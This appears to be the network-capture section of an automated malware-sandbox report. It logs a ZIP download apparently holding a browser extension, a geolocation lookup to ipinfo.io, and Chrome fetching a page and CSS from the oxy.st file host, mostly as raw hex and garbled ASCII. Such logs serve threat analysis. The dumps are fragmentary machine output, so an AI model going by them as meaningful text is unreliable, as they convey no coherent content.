Jun 15, 2024 11:17:12.875210047 CEST	1236	IN	Data Raw: 9c fd 5c a1 06 37 12 6d 94 e3 dd 35 dc f5 a4 a8 cf 5e 99 28 2c 07 c3 23 e8 31 58 b4 91 e9 0a f7 73 8c f0 11 e7 8c 09 e9 95 b5 8c 52 0b b5 fa bb d1 75 56 dd 41 40 ee 85 9d 81 3d dd ff 03 02 03 a4 cc 30 42 56 04 2b bc 0e 2c 1b de 9c 33 3e 4c 52 97 Data Ascii: \7m5^(,#1XsRuVA@=0BV+,3>LR\z/024jXl>b(_imM"e)iT{Vvm`@\|~TD88+`iwz)A}4* @i^,h97cW7c=m
Jun 15, 2024 11:17:12.875224113 CEST	1236	IN	Data Raw: 80 c6 d8 c5 b2 25 19 53 c8 4f 35 d5 02 2f da 0e b2 d2 b6 2b fb cd f7 c4 67 65 a0 c1 c0 5b c1 90 db 23 0a 03 74 3f ad 6a 98 4e 8e 5f 0c 75 ca be 60 06 06 01 7b 72 07 82 63 5b 2f c0 af 23 f7 c5 4b 6e f4 3d 80 20 97 f1 ca 85 94 aa 94 2e 9b cd 62 ee Data Ascii: %SO5/+ge[#t?jN_u`{rc[/#Kn= .b~f\Um niyvc3:Aj@G*Eycx4[Qbv 1'TV`>V<e[p}9W$Ec](!s5?O<)HrNec'=j
Jun 15, 2024 11:17:12.875236988 CEST	1236	IN	Data Raw: 4a 0b 59 7b 6c fa d4 c2 31 bc 87 55 d6 0f 5a b0 d0 0b df 90 16 c6 30 73 cc ad 35 aa d3 aa 12 a6 78 5c 3a a2 0a c1 72 9c bb 23 d2 57 cb 7b 24 7c ac 98 d1 37 28 fd ca 27 9d 46 80 d5 f7 01 80 3b f3 6c 23 3f db a5 b5 ca 28 65 39 af ed 14 be 60 0d f2 Data Ascii: JY{l1UZ0s5x\:r#W{$\|7('F;l#?(e9`kg,hgTZnz0z~SX</i=IDq@h9nO7R]o$dqGF*3c{-xb#zc^8N?g?:<O8BWR
Jun 15, 2024 11:17:12.875251055 CEST	636	IN	Data Raw: 3b e2 8e 96 e8 6a a5 8d 30 95 e1 b0 91 32 8b b6 6b ae ee 44 ca f5 37 c8 a5 8e c6 55 9a 47 32 19 33 2c 8e 47 14 34 0e 5f e0 79 55 69 11 2d 14 85 e1 4a 55 a5 11 b2 78 8f 3b df a3 43 c8 94 61 77 16 bd 96 05 69 be 64 87 4b 75 20 68 f2 23 6e 23 81 fd Data Ascii: ;j02kD7UG23,G4_yUi-JUx;CawidKu h#n#"{k^jnH43orE$=.Ohz pLvZrZ$nXv'h__PKhT PK!-_metadata/UT`f
Jun 15, 2024 11:17:12.875264883 CEST	1236	IN	Data Raw: c9 12 11 8a 2a ab d6 64 1e d5 b8 fe ec a5 d7 dd 1a 51 74 a1 8b da 12 51 dc 6f 5f df bb d4 f6 85 0b a3 52 58 11 69 78 37 8f 1e 1d dc 51 36 d0 de 4e 0d de a0 b2 cf 4e fd 7e db 8d c5 5c cb cb 2b ac 3a 27 2c c8 d5 25 05 a0 36 c4 b0 65 f5 ba 07 76 fb Data Ascii: *dQtQo_RXix7Q6NN~\+:',%6evo@y",q,%7coSd-/}g+6O3J"%WJuswo8\spMHu%RtM'V{)hko_:l
Jun 15, 2024 11:17:12.875279903 CEST	447	IN	Data Raw: 4b 01 02 14 03 14 00 08 08 08 00 00 00 21 00 82 f1 0b e4 47 00 00 00 54 00 00 00 0d 00 2d 00 00 00 00 00 00 00 00 00 a4 01 a5 07 00 00 6d 61 6e 69 66 65 73 74 2e 6a 73 6f 6e 55 54 05 00 01 b4 82 60 66 0a 00 20 00 00 00 00 00 01 00 18 00 50 81 61 Data Ascii: K!GT-manifest.jsonUT`f Pa-\PK!hT -TLICENSEUT`f Pa-\PK!-

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.16	49695	34.117.186.192	443

Timestamp	Bytes transferred	Direction	Data
2024-06-15 09:14:43 UTC	59	OUT	GET / HTTP/1.1 Host: ipinfo.io Connection: Keep-Alive
2024-06-15 09:14:43 UTC	513	IN	HTTP/1.1 200 OK server: nginx/1.24.0 date: Sat, 15 Jun 2024 09:14:43 GMT content-type: application/json; charset=utf-8 Content-Length: 314 access-control-allow-origin: * x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff referrer-policy: strict-origin-when-cross-origin x-envoy-upstream-service-time: 2 via: 1.1 google strict-transport-security: max-age=2592000; includeSubDomains Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-06-15 09:14:43 UTC	314	IN	Data Raw: 7b 0a 20 20 22 69 70 22 3a 20 22 31 37 33 2e 32 35 34 2e 32 35 30 2e 39 30 22 2c 0a 20 20 22 68 6f 73 74 6e 61 6d 65 22 3a 20 22 31 37 33 2e 32 35 34 2e 32 35 30 2e 39 30 2e 73 74 61 74 69 63 2e 71 75 61 64 72 61 6e 65 74 2e 63 6f 6d 22 2c 0a 20 20 22 63 69 74 79 22 3a 20 22 44 61 6c 6c 61 73 22 2c 0a 20 20 22 72 65 67 69 6f 6e 22 3a 20 22 54 65 78 61 73 22 2c 0a 20 20 22 63 6f 75 6e 74 72 79 22 3a 20 22 55 53 22 2c 0a 20 20 22 6c 6f 63 22 3a 20 22 33 32 2e 38 31 35 32 2c 2d 39 36 2e 38 37 30 33 22 2c 0a 20 20 22 6f 72 67 22 3a 20 22 41 53 38 31 30 30 20 51 75 61 64 72 61 4e 65 74 20 45 6e 74 65 72 70 72 69 73 65 73 20 4c 4c 43 22 2c 0a 20 20 22 70 6f 73 74 61 6c 22 3a 20 22 37 35 32 34 37 22 2c 0a 20 20 22 74 69 6d 65 7a 6f 6e 65 22 3a 20 22 41 6d 65 72 Data Ascii: { "ip": "173.254.250.90", "hostname": "173.254.250.90.static.quadranet.com", "city": "Dallas", "region": "Texas", "country": "US", "loc": "32.8152,-96.8703", "org": "AS8100 QuadraNet Enterprises LLC", "postal": "75247", "timezone": "Amer

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.16	49698	185.178.208.137	443	6344	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-15 09:14:49 UTC	655	OUT	GET /d/SmUh HTTP/1.1 Host: oxy.st Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-06-15 09:14:50 UTC	570	IN	HTTP/1.1 200 OK Server: ddos-guard Connection: close Content-Security-Policy: upgrade-insecure-requests; Set-Cookie: __ddg1_=xTN6aNWjl2PXlnIhaelk; Domain=.oxy.st; HttpOnly; Path=/; Expires=Sun, 15-Jun-2025 09:14:49 GMT Date: Sat, 15 Jun 2024 09:14:50 GMT Content-Type: text/html; charset=UTF-8 Vary: Accept-Encoding Set-Cookie: PHPSESSID=9te80bjklnerqcfurdd2s032p7; path=/; domain=.oxy.st Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Access-Control-Allow-Origin: * Transfer-Encoding: chunked
2024-06-15 09:14:50 UTC	15814	IN	Data Raw: 33 45 34 38 0d 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 21 2d 2d 20 42 41 53 49 43 20 4d 45 54 41 2d 2d 3e 0a 20 20 20 20 20 20 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 77 69 6e 64 6f 77 2e 5f 6d 4e 48 61 6e 64 6c 65 20 3d 20 77 69 6e 64 6f 77 2e 5f 6d 4e 48 61 6e 64 6c 65 20 7c 7c 20 7b 7d 3b 0a 20 20 20 20 77 69 6e 64 6f 77 2e 5f 6d 4e 48 61 6e 64 6c 65 2e 71 75 65 75 65 20 3d 20 77 69 6e 64 6f 77 2e 5f 6d 4e 48 61 6e 64 6c 65 2e 71 75 65 75 65 20 7c 7c 20 5b 5d 3b 0a 20 20 20 20 6d 65 64 69 61 6e 65 74 5f 76 65 72 73 69 6f 6e 49 64 20 3d 20 22 33 31 32 31 31 39 39 22 3b 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 Data Ascii: 3E48<html><head> ... BASIC META--> <script type="text/javascript"> window._mNHandle = window._mNHandle \|\| {}; window._mNHandle.queue = window._mNHandle.queue \|\| []; medianet_versionId = "3121199";</script><script src="htt
2024-06-15 09:14:50 UTC	138	IN	Data Raw: 49 44 3b 0a 20 20 20 20 20 20 20 20 20 20 20 6f 70 74 73 2e 73 75 62 49 44 31 20 3d 20 73 6f 75 72 63 65 49 44 3b 0a 20 20 20 20 20 20 20 20 20 20 20 6f 70 74 73 2e 61 63 74 69 6f 6e 73 2e 6f 6e 50 65 72 6d 69 73 73 69 6f 6e 47 72 61 6e 74 65 64 20 3d 20 28 29 20 3d 3e 20 7b 7d 3b 0a 20 20 20 20 20 20 20 20 20 20 20 6f 70 74 73 2e 61 63 74 69 6f 6e 73 2e 6f 6e 50 65 72 6d 69 73 73 69 6f 6e 44 65 6e 69 65 0d 0a Data Ascii: ID; opts.subID1 = sourceID; opts.actions.onPermissionGranted = () => {}; opts.actions.onPermissionDenie
2024-06-15 09:14:50 UTC	5248	IN	Data Raw: 31 34 37 33 0d 0a 64 20 3d 20 28 29 20 3d 3e 20 7b 7d 3b 0a 20 20 20 20 20 20 20 20 20 20 20 6f 70 74 73 2e 61 63 74 69 6f 6e 73 2e 6f 6e 41 6c 72 65 61 64 79 53 75 62 73 63 72 69 62 65 64 20 3d 20 28 29 20 3d 3e 20 7b 7d 3b 0a 20 20 20 20 20 20 20 20 20 20 20 6f 70 74 73 2e 61 63 74 69 6f 6e 73 2e 6f 6e 45 72 72 6f 72 20 3d 20 28 29 20 3d 3e 20 7b 7d 3b 0a 20 20 20 20 20 20 20 7d 3b 0a 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 68 65 61 64 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 73 29 3b 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 0a 0a 20 20 20 20 3c 73 63 72 69 70 74 3e 0a 20 20 20 20 2f 2a 0a 20 20 20 20 69 66 20 28 4e 6f 74 69 66 69 63 61 74 69 6f 6e 2e 70 65 72 6d 69 73 73 69 6f 6e 20 3d 3d 3d 20 27 67 72 61 6e 74 65 64 27 29 20 7b 0a 20 20 20 20 20 20 Data Ascii: 1473d = () => {}; opts.actions.onAlreadySubscribed = () => {}; opts.actions.onError = () => {}; }; document.head.appendChild(s);</script> <script> /* if (Notification.permission === 'granted') {

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.16	49703	185.178.208.137	443	6344	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-15 09:14:51 UTC	626	OUT	GET /slake/asset/css/bootstrap.min.css HTTP/1.1 Host: oxy.st Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://oxy.st/d/SmUh Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __ddg1_=xTN6aNWjl2PXlnIhaelk; PHPSESSID=9te80bjklnerqcfurdd2s032p7
2024-06-15 09:14:51 UTC	379	IN	HTTP/1.1 200 OK Server: ddos-guard Connection: close Content-Security-Policy: upgrade-insecure-requests; Date: Fri, 14 Jun 2024 04:21:52 GMT Content-Type: text/css Content-Length: 144877 Last-Modified: Sun, 21 Jun 2020 20:10:26 GMT Vary: Accept-Encoding ETag: "5eefbeb2-235ed" Access-Control-Allow-Origin: * Accept-Ranges: bytes Age: 103980 DDG-Cache-Status: HIT
2024-06-15 09:14:51 UTC	16005	IN	Data Raw: 2f 2a 21 0a 20 2a 20 42 6f 6f 74 73 74 72 61 70 20 76 34 2e 30 2e 30 20 28 68 74 74 70 73 3a 2f 2f 67 65 74 62 6f 6f 74 73 74 72 61 70 2e 63 6f 6d 29 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 31 38 20 54 68 65 20 42 6f 6f 74 73 74 72 61 70 20 41 75 74 68 6f 72 73 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 31 38 20 54 77 69 74 74 65 72 2c 20 49 6e 63 2e 0a 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 4d 49 54 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 62 6c 6f 62 2f 6d 61 73 74 65 72 2f 4c 49 43 45 4e 53 45 29 0a 20 2a 2f 3a 72 6f 6f 74 7b 2d 2d 62 6c 75 65 3a 23 30 30 37 62 66 66 3b 2d 2d 69 6e 64 69 67 6f 3a 23 36 36 31 30 66 32 3b 2d 2d 70 Data Ascii: /! Bootstrap v4.0.0 (https://getbootstrap.com) * Copyright 2011-2018 The Bootstrap Authors * Copyright 2011-2018 Twitter, Inc. * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) */:root{--blue:#007bff;--indigo:#6610f2;--p
2024-06-15 09:14:51 UTC	16384	IN	Data Raw: 2d 66 6c 65 78 3a 30 20 30 20 31 36 2e 36 36 36 36 36 37 25 3b 66 6c 65 78 3a 30 20 30 20 31 36 2e 36 36 36 36 36 37 25 3b 6d 61 78 2d 77 69 64 74 68 3a 31 36 2e 36 36 36 36 36 37 25 7d 2e 63 6f 6c 2d 6c 67 2d 33 7b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 66 6c 65 78 3a 30 3b 2d 6d 73 2d 66 6c 65 78 3a 30 20 30 20 32 35 25 3b 66 6c 65 78 3a 30 20 30 20 32 35 25 3b 6d 61 78 2d 77 69 64 74 68 3a 32 35 25 7d 2e 63 6f 6c 2d 6c 67 2d 34 7b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 66 6c 65 78 3a 30 3b 2d 6d 73 2d 66 6c 65 78 3a 30 20 30 20 33 33 2e 33 33 33 33 33 33 25 3b 66 6c 65 78 3a 30 20 30 20 33 33 2e 33 33 33 33 33 33 25 3b 6d 61 78 2d 77 69 64 74 68 3a 33 33 2e 33 33 33 33 33 33 25 7d 2e 63 6f 6c 2d 6c 67 2d 35 7b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 66 6c 65 78 Data Ascii: -flex:0 0 16.666667%;flex:0 0 16.666667%;max-width:16.666667%}.col-lg-3{-webkit-box-flex:0;-ms-flex:0 0 25%;flex:0 0 25%;max-width:25%}.col-lg-4{-webkit-box-flex:0;-ms-flex:0 0 33.333333%;flex:0 0 33.333333%;max-width:33.333333%}.col-lg-5{-webkit-box-flex
2024-06-15 09:14:52 UTC	16384	IN	Data Raw: 6c 69 64 7e 2e 63 75 73 74 6f 6d 2d 66 69 6c 65 2d 6c 61 62 65 6c 7b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 32 38 61 37 34 35 7d 2e 63 75 73 74 6f 6d 2d 66 69 6c 65 2d 69 6e 70 75 74 2e 69 73 2d 76 61 6c 69 64 7e 2e 63 75 73 74 6f 6d 2d 66 69 6c 65 2d 6c 61 62 65 6c 3a 3a 62 65 66 6f 72 65 2c 2e 77 61 73 2d 76 61 6c 69 64 61 74 65 64 20 2e 63 75 73 74 6f 6d 2d 66 69 6c 65 2d 69 6e 70 75 74 3a 76 61 6c 69 64 7e 2e 63 75 73 74 6f 6d 2d 66 69 6c 65 2d 6c 61 62 65 6c 3a 3a 62 65 66 6f 72 65 7b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 69 6e 68 65 72 69 74 7d 2e 63 75 73 74 6f 6d 2d 66 69 6c 65 2d 69 6e 70 75 74 2e 69 73 2d 76 61 6c 69 64 7e 2e 76 61 6c 69 64 2d 66 65 65 64 62 61 63 6b 2c 2e 63 75 73 74 6f 6d 2d 66 69 6c 65 2d 69 6e 70 75 74 2e 69 73 2d 76 61 Data Ascii: lid~.custom-file-label{border-color:#28a745}.custom-file-input.is-valid~.custom-file-label::before,.was-validated .custom-file-input:valid~.custom-file-label::before{border-color:inherit}.custom-file-input.is-valid~.valid-feedback,.custom-file-input.is-va
2024-06-15 09:14:52 UTC	16018	IN	Data Raw: 62 6c 65 64 29 3a 6e 6f 74 28 2e 64 69 73 61 62 6c 65 64 29 3a 61 63 74 69 76 65 3a 66 6f 63 75 73 2c 2e 73 68 6f 77 3e 2e 62 74 6e 2d 6f 75 74 6c 69 6e 65 2d 64 61 6e 67 65 72 2e 64 72 6f 70 64 6f 77 6e 2d 74 6f 67 67 6c 65 3a 66 6f 63 75 73 7b 62 6f 78 2d 73 68 61 64 6f 77 3a 30 20 30 20 30 20 2e 32 72 65 6d 20 72 67 62 61 28 32 32 30 2c 35 33 2c 36 39 2c 2e 35 29 7d 2e 62 74 6e 2d 6f 75 74 6c 69 6e 65 2d 6c 69 67 68 74 7b 63 6f 6c 6f 72 3a 23 66 38 66 39 66 61 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 6e 6f 6e 65 3b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 66 38 66 39 66 61 7d 2e 62 74 6e 2d 6f 75 74 6c 69 6e 65 2d 6c 69 67 68 74 3a 68 6f 76 65 72 7b 63 Data Ascii: bled):not(.disabled):active:focus,.show>.btn-outline-danger.dropdown-toggle:focus{box-shadow:0 0 0 .2rem rgba(220,53,69,.5)}.btn-outline-light{color:#f8f9fa;background-color:transparent;background-image:none;border-color:#f8f9fa}.btn-outline-light:hover{c
2024-06-15 09:14:52 UTC	16384	IN	Data Raw: 6d 2d 66 69 6c 65 2d 6c 61 62 65 6c 3a 3a 61 66 74 65 72 7b 63 6f 6e 74 65 6e 74 3a 22 42 72 6f 77 73 65 22 7d 2e 63 75 73 74 6f 6d 2d 66 69 6c 65 2d 6c 61 62 65 6c 7b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 74 6f 70 3a 30 3b 72 69 67 68 74 3a 30 3b 6c 65 66 74 3a 30 3b 7a 2d 69 6e 64 65 78 3a 31 3b 68 65 69 67 68 74 3a 63 61 6c 63 28 32 2e 32 35 72 65 6d 20 2b 20 32 70 78 29 3b 70 61 64 64 69 6e 67 3a 2e 33 37 35 72 65 6d 20 2e 37 35 72 65 6d 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 35 3b 63 6f 6c 6f 72 3a 23 34 39 35 30 35 37 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 3b 62 6f 72 64 65 72 3a 31 70 78 20 73 6f 6c 69 64 20 23 63 65 64 34 64 61 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 2e 32 35 72 65 6d 7d 2e 63 Data Ascii: m-file-label::after{content:"Browse"}.custom-file-label{position:absolute;top:0;right:0;left:0;z-index:1;height:calc(2.25rem + 2px);padding:.375rem .75rem;line-height:1.5;color:#495057;background-color:#fff;border:1px solid #ced4da;border-radius:.25rem}.c
2024-06-15 09:14:52 UTC	16384	IN	Data Raw: 6b 3b 70 61 64 64 69 6e 67 3a 2e 35 72 65 6d 20 2e 37 35 72 65 6d 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 31 70 78 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 32 35 3b 63 6f 6c 6f 72 3a 23 30 30 37 62 66 66 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 3b 62 6f 72 64 65 72 3a 31 70 78 20 73 6f 6c 69 64 20 23 64 65 65 32 65 36 7d 2e 70 61 67 65 2d 6c 69 6e 6b 3a 68 6f 76 65 72 7b 63 6f 6c 6f 72 3a 23 30 30 35 36 62 33 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 65 39 65 63 65 66 3b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 64 65 65 32 65 36 7d 2e 70 61 67 65 2d 6c 69 6e 6b 3a 66 6f 63 75 73 7b 7a 2d 69 6e 64 65 78 3a 32 3b 6f 75 74 6c 69 6e 65 3a 30 3b 62 6f Data Ascii: k;padding:.5rem .75rem;margin-left:-1px;line-height:1.25;color:#007bff;background-color:#fff;border:1px solid #dee2e6}.page-link:hover{color:#0056b3;text-decoration:none;background-color:#e9ecef;border-color:#dee2e6}.page-link:focus{z-index:2;outline:0;bo
2024-06-15 09:14:52 UTC	16384	IN	Data Raw: 6d 20 2e 35 72 65 6d 20 30 7d 2e 62 73 2d 70 6f 70 6f 76 65 72 2d 61 75 74 6f 5b 78 2d 70 6c 61 63 65 6d 65 6e 74 5e 3d 72 69 67 68 74 5d 20 2e 61 72 72 6f 77 3a 3a 62 65 66 6f 72 65 2c 2e 62 73 2d 70 6f 70 6f 76 65 72 2d 72 69 67 68 74 20 2e 61 72 72 6f 77 3a 3a 62 65 66 6f 72 65 7b 6c 65 66 74 3a 30 3b 62 6f 72 64 65 72 2d 72 69 67 68 74 2d 63 6f 6c 6f 72 3a 72 67 62 61 28 30 2c 30 2c 30 2c 2e 32 35 29 7d 2e 62 73 2d 70 6f 70 6f 76 65 72 2d 61 75 74 6f 5b 78 2d 70 6c 61 63 65 6d 65 6e 74 5e 3d 72 69 67 68 74 5d 20 2e 61 72 72 6f 77 3a 3a 61 66 74 65 72 2c 2e 62 73 2d 70 6f 70 6f 76 65 72 2d 72 69 67 68 74 20 2e 61 72 72 6f 77 3a 3a 61 66 74 65 72 7b 6c 65 66 74 3a 31 70 78 3b 62 6f 72 64 65 72 2d 72 69 67 68 74 2d 63 6f 6c 6f 72 3a 23 66 66 66 7d 2e 62 Data Ascii: m .5rem 0}.bs-popover-auto[x-placement^=right] .arrow::before,.bs-popover-right .arrow::before{left:0;border-right-color:rgba(0,0,0,.25)}.bs-popover-auto[x-placement^=right] .arrow::after,.bs-popover-right .arrow::after{left:1px;border-right-color:#fff}.b
2024-06-15 09:14:52 UTC	16384	IN	Data Raw: 77 72 61 70 21 69 6d 70 6f 72 74 61 6e 74 3b 66 6c 65 78 2d 77 72 61 70 3a 77 72 61 70 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 66 6c 65 78 2d 73 6d 2d 6e 6f 77 72 61 70 7b 2d 6d 73 2d 66 6c 65 78 2d 77 72 61 70 3a 6e 6f 77 72 61 70 21 69 6d 70 6f 72 74 61 6e 74 3b 66 6c 65 78 2d 77 72 61 70 3a 6e 6f 77 72 61 70 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 66 6c 65 78 2d 73 6d 2d 77 72 61 70 2d 72 65 76 65 72 73 65 7b 2d 6d 73 2d 66 6c 65 78 2d 77 72 61 70 3a 77 72 61 70 2d 72 65 76 65 72 73 65 21 69 6d 70 6f 72 74 61 6e 74 3b 66 6c 65 78 2d 77 72 61 70 3a 77 72 61 70 2d 72 65 76 65 72 73 65 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 2d 73 6d 2d 73 74 61 72 74 7b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 70 61 63 6b 3a 73 74 61 72 74 21 Data Ascii: wrap!important;flex-wrap:wrap!important}.flex-sm-nowrap{-ms-flex-wrap:nowrap!important;flex-wrap:nowrap!important}.flex-sm-wrap-reverse{-ms-flex-wrap:wrap-reverse!important;flex-wrap:wrap-reverse!important}.justify-content-sm-start{-webkit-box-pack:start!
2024-06-15 09:14:52 UTC	14550	IN	Data Raw: 69 6e 2d 72 69 67 68 74 3a 61 75 74 6f 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 6d 62 2d 61 75 74 6f 2c 2e 6d 79 2d 61 75 74 6f 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 61 75 74 6f 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 6d 6c 2d 61 75 74 6f 2c 2e 6d 78 2d 61 75 74 6f 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 61 75 74 6f 21 69 6d 70 6f 72 74 61 6e 74 7d 40 6d 65 64 69 61 20 28 6d 69 6e 2d 77 69 64 74 68 3a 35 37 36 70 78 29 7b 2e 6d 2d 73 6d 2d 30 7b 6d 61 72 67 69 6e 3a 30 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 6d 74 2d 73 6d 2d 30 2c 2e 6d 79 2d 73 6d 2d 30 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 6d 72 2d 73 6d 2d 30 2c 2e 6d 78 2d 73 6d 2d 30 7b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 30 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 6d 62 Data Ascii: in-right:auto!important}.mb-auto,.my-auto{margin-bottom:auto!important}.ml-auto,.mx-auto{margin-left:auto!important}@media (min-width:576px){.m-sm-0{margin:0!important}.mt-sm-0,.my-sm-0{margin-top:0!important}.mr-sm-0,.mx-sm-0{margin-right:0!important}.mb

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.16	49705	185.178.208.137	443	6344	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-15 09:14:51 UTC	640	OUT	GET /slake/asset/css/jquery.mCustomScrollbar.min.css HTTP/1.1 Host: oxy.st Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://oxy.st/d/SmUh Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __ddg1_=xTN6aNWjl2PXlnIhaelk; PHPSESSID=9te80bjklnerqcfurdd2s032p7
2024-06-15 09:14:51 UTC	377	IN	HTTP/1.1 200 OK Server: ddos-guard Connection: close Content-Security-Policy: upgrade-insecure-requests; Date: Thu, 13 Jun 2024 01:16:03 GMT Content-Type: text/css Content-Length: 42894 Last-Modified: Sun, 21 Jun 2020 20:10:26 GMT Vary: Accept-Encoding ETag: "5eefbeb2-a78e" Access-Control-Allow-Origin: * Accept-Ranges: bytes Age: 201528 DDG-Cache-Status: HIT
2024-06-15 09:14:51 UTC	16007	IN	Data Raw: 2e 6d 43 75 73 74 6f 6d 53 63 72 6f 6c 6c 62 61 72 7b 2d 6d 73 2d 74 6f 75 63 68 2d 61 63 74 69 6f 6e 3a 70 69 6e 63 68 2d 7a 6f 6f 6d 3b 74 6f 75 63 68 2d 61 63 74 69 6f 6e 3a 70 69 6e 63 68 2d 7a 6f 6f 6d 7d 2e 6d 43 75 73 74 6f 6d 53 63 72 6f 6c 6c 62 61 72 2e 6d 43 53 5f 6e 6f 5f 73 63 72 6f 6c 6c 62 61 72 2c 2e 6d 43 75 73 74 6f 6d 53 63 72 6f 6c 6c 62 61 72 2e 6d 43 53 5f 74 6f 75 63 68 5f 61 63 74 69 6f 6e 7b 2d 6d 73 2d 74 6f 75 63 68 2d 61 63 74 69 6f 6e 3a 61 75 74 6f 3b 74 6f 75 63 68 2d 61 63 74 69 6f 6e 3a 61 75 74 6f 7d 2e 6d 43 75 73 74 6f 6d 53 63 72 6f 6c 6c 42 6f 78 7b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 3b 68 65 69 67 68 74 3a 31 30 30 25 3b 6d 61 78 2d 77 69 64 74 68 3a 31 Data Ascii: .mCustomScrollbar{-ms-touch-action:pinch-zoom;touch-action:pinch-zoom}.mCustomScrollbar.mCS_no_scrollbar,.mCustomScrollbar.mCS_touch_action{-ms-touch-action:auto;touch-action:auto}.mCustomScrollBox{position:relative;overflow:hidden;height:100%;max-width:1
